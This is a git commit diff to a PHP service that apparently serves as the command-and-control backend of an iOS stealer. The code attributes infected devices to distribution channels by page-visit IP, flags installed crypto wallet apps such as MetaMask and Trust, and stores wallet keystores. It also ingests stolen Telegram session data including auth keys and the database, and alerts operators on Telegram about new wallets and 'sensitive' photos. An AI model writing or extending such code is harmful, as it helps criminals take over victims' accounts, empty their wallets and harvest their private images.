feat: xxbb
This commit is contained in:
+187
-16
@@ -2,10 +2,12 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -138,22 +140,18 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
$touch = ['updated_at' => now()];
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
|
||||
$touch['channel_id'] = $channelId;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach,
|
||||
* but never write channel_id (put will fill it later). Existing rows are left untouched.
|
||||
* Other C2 routes — create device if missing so business rows can attach.
|
||||
* Old builder: never write channel_id here (put will fill it later).
|
||||
* New builder: IP-match iptj on create and when channel_id is still empty.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
@@ -164,10 +162,16 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $existing;
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
|
||||
}
|
||||
|
||||
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
|
||||
@@ -208,15 +212,118 @@ class IngestService
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||
private function fillMissingAttribution(
|
||||
Device $device,
|
||||
Request $request,
|
||||
?array $payload,
|
||||
bool $allowOldC,
|
||||
): void {
|
||||
$needChannel = $this->channelIdEmpty($device->channel_id);
|
||||
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
|
||||
if (! $needChannel && ! $needDomain) {
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$touch = ['updated_at' => now()];
|
||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||
$touch['channel_id'] = $attr['channel_id'];
|
||||
}
|
||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||
$touch['source_domain'] = $attr['source_domain'];
|
||||
}
|
||||
$device->forceFill($touch)->saveQuietly();
|
||||
}
|
||||
|
||||
/**
|
||||
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
||||
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
|
||||
* attribute via recent PageVisit IP. Device is still created if no visit matches.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
return $this->matchNewBuilderVisit($request->ip());
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function isNewBuilderRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit from this IP in the last N minutes whose
|
||||
* channel_id is a new-builder channel, and no device from this IP has
|
||||
* already claimed that channel.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
{
|
||||
$ip = is_string($ip) ? trim($ip) : '';
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('ip', $ip)
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
|
||||
foreach ($visits as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
continue;
|
||||
}
|
||||
$channel = Channel::query()
|
||||
->where('channel_id', $code)
|
||||
->where('builder_type', Channel::BUILDER_NEW)
|
||||
->first();
|
||||
if ($channel === null) {
|
||||
continue;
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('ip', $ip)
|
||||
->where('channel_id', $code)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
}
|
||||
$domain = $this->sourceDomainFromVisit($visit);
|
||||
|
||||
return ['channel_id' => $code, 'source_domain' => $domain];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function sourceDomainFromVisit(PageVisit $visit): ?string
|
||||
{
|
||||
return PageVisit::normalizeDomain($visit->domain);
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => $request->ip(),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
@@ -239,7 +346,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
@@ -250,18 +356,45 @@ class IngestService
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
$this->refreshDeviceWalletFlag($device);
|
||||
}
|
||||
|
||||
/**
|
||||
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
|
||||
*/
|
||||
private function refreshDeviceWalletFlag(Device $device): void
|
||||
{
|
||||
$names = [];
|
||||
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
|
||||
$bundle = (string) $app->bundle_id;
|
||||
if (! WalletSource::isPluginWalletBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$label = WalletSource::labelForBundle($bundle, $app->name);
|
||||
$names[$label] = true;
|
||||
}
|
||||
$labels = array_keys($names);
|
||||
sort($labels);
|
||||
|
||||
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
||||
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
||||
$device->wallet_names = $labels === [] ? null : $labels;
|
||||
$device->save();
|
||||
|
||||
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
|
||||
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -353,6 +486,37 @@ class IngestService
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
|
||||
* Lab has no dedicated table; store as a keystore identity blob.
|
||||
*/
|
||||
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$this->ingestKeystore($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$blob = [];
|
||||
foreach ([
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
] as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$blob[$key] = $payload[$key];
|
||||
}
|
||||
}
|
||||
if ($blob === []) {
|
||||
return;
|
||||
}
|
||||
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
|
||||
$this->ingestKeystore($device, ['result' => $blob]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
@@ -507,6 +671,7 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -530,6 +695,12 @@ class IngestService
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user